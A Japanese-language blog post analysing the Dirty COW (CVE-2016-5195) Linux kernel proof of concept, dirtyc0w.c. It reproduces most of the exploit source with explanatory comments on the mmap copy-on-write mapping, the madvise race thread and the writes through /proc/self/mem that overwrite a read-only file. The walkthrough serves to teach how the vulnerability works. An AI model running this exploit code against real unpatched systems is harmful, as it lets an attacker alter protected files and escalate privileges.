Dirty COW PoC 概説

Dirty COW

Dirty COW の PoC に関して。前回記事でもPoCに関して実施手順を書きましたが、処理内容に関しても簡単にまとめてみました。

はじめに

Linux kernel の脆弱性 Dirty COW (CVE-2016-5195) でDirty COW に関して書きました。
PoC (proof of concept) に関しても検証しましたが、今回は処理内容に関してざっくり書いてみます。

PoC

現在 Dirty COW の PoC に関してはたくさん公開されているが (PoCリスト)、対象の PoC (proof of concept) は dirtyc0w.c

ソース

ソースは上記リンク先を参照して頂くのが一番だが、主要部分を以下に転記。

main

先ずは main から。

ポイントは

  • 指定されたファイルをReadOnlyでオープン
  • mmap を利用してメモリにマップ
    この際 PROT_READ、及び、MAP_PRIVATE (copy-on-write) を指定。
int main(int argc,char *argv[])
{
  // 引数が足りなければ利用方法を出力して終了
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;

  f=open(argv[1],O_RDONLY); // オプション指定されたファイルをReadOnlyで開く
  fstat(f,&st);             // ファイル情報取得 stに情報を格納(mmap時に利用)
  name=argv[1];

  // ファイルをメモリ(map)にマップ。
  // PROT_READ : ページは読み込み可能
  // MAP_PRIVATE : プライベートな copy-on-write (書き込み時コピー) マップを生成
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);

  // madviseThread, procselfmemThread を並列実行(二つのスレッドを作成して同時に実行)
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}

madviseThread

次に madviseThread。
名前の通り madvise を実行している。(一億回ループ)

  • main で mmap したメモリに対して madvise を実行。MADV_DONTNEED を指定する事で今回問題となっている race condition (競合状態) が発生する。
  • madvise は成功時 0を返す。dirtyc0w.c の実行結果で
    madvise 0 
    
    と出力された場合には、全ての madvise 処理が成功した事になる。

void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
     // メモリ利用に関するアドバイスを与える 成功時0を返す
     // MADV_DONTNEED
     // しばらくアクセスはなさそうだ。 (現時点でアプリケーションは与えた範囲の処理を終えている。 
     // したがってカーネルはこれに関連するリソースを解放して良い。) これ以降この範囲のページへのアクセスがあると、
     // 成功はするが、メモリの内容をマップ元のファイルからロードし直すことになる ( mmap ()を見よ) か、
     // または元ファイルがないマップページでは アクセスがあったときに 0 埋めが行われることになる。
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}

procselfmemThread

procselfmemThread。
/proc/self/mem に対する処理。
こちらも一億回ループ。

  • /proc/self/mem を利用して自身のメモリをリード/ライトでオープンし、先にmmap でマップしたメモリに対して書き込みを実行
  • 成功時にはバイト数を返すため、
    procselfmem 第二引数の文字列長×1億
    
    と出力されれば、全ての書き込み処理が成功した事になる。
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;

  // 自身のメモリをリード/ライトモードでオープン
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
    lseek(f,(uintptr_t) map,SEEK_SET); // ファイルオフセットをmapに指定
    c+=write(f,str,strlen(str));       // ファイルに書き込む。成功時バイト数を返す
  }
  printf("procselfmem %d\n\n", c);
}

dirtyc0w.c が RHEL5/6 で動作しないのは、PoC のコメントにもあるように /proc/self/mem が RHEL5/6 では書き込み禁止であるため。
RHEL5/6 で動作する PoC ( pokemon.c ) の場合は /proc/self/mem を利用しない実装となっている。

※一部不要では?という部分もあるのでもっとシンプルに書けるかも。

参考

まとめ

上に見るように、PoCの手順は非常にシンプルです。

  • PROT_READ、MAP_PRIVATE (COW) 指定して mmap
  • MADV_DONTNEED 指定して madvise

興味がある方は pokemon.c 等に関してもソースを解読してもよいかもしれません。